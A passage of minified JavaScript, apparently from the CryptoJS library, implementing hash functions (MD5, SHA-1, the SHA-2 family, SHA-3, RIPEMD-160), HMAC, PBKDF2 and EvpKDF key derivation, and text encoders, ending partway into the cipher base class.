this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { 